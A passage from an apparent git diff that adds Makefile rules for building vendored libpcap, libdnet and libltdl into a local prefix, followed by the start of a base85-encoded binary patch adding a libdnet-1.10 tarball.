libpcap-$(PCAPVER).tar.gz + gzip -dc libpcap-$(PCAPVER).tar.gz | tar -xvf - + cd libpcap-$(PCAPVER) && CC="$(CC)" CFLAGS="$(CFLAGS)" ./configure --build=@build@ --host=@host@ --prefix=`pwd`/../fake && CC="$(CC)" CFLAGS="$(CFLAGS)" $(USE_MAKE) && $(USE_MAKE) install && touch stamp + +libdnet-$(DNETVER)/stamp: libdnet-$(DNETVER).tar.gz + gzip -dc libdnet-$(DNETVER).tar.gz | tar -xvf - + cd libdnet-$(DNETVER) && patch -p1 < ../libdnet-no-test-python.patch && CC="$(CC)" CFLAGS="$(CFLAGS)" ./configure --build=@build@ --host=@host@ --prefix=`pwd`/../fake --enable-shared=no && CC="$(CC)" CFLAGS="$(CFLAGS)" $(USE_MAKE) && $(USE_MAKE) install && touch stamp + +libltdl/stamp: libltdl.tar.gz + gzip -dc libltdl.tar.gz | tar -xvf - + cd libltdl && CC="$(CC)" CFLAGS="$(CFLAGS)" ./configure --build=@build@ --host=@host@ --prefix=`pwd`/../fake --enable-shared=no && CC="$(CC)" CFLAGS="$(CFLAGS)" $(USE_MAKE) && $(USE_MAKE) install && touch stamp + +distclean: clean + rm -rf fake + +clean: + rm -rf libdnet-$(DNETVER) libpcap-$(PCAPVER) libltdl + +install: all +uninstall: diff --git a/libs/libdnet-1.10.tar.gz b/libs/libdnet-1.10.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..b0a0e51d8965598bf19ffa358d5d558fb6d1bbf3 GIT binary patch literal 419752 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 Xqxx(FPyd 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 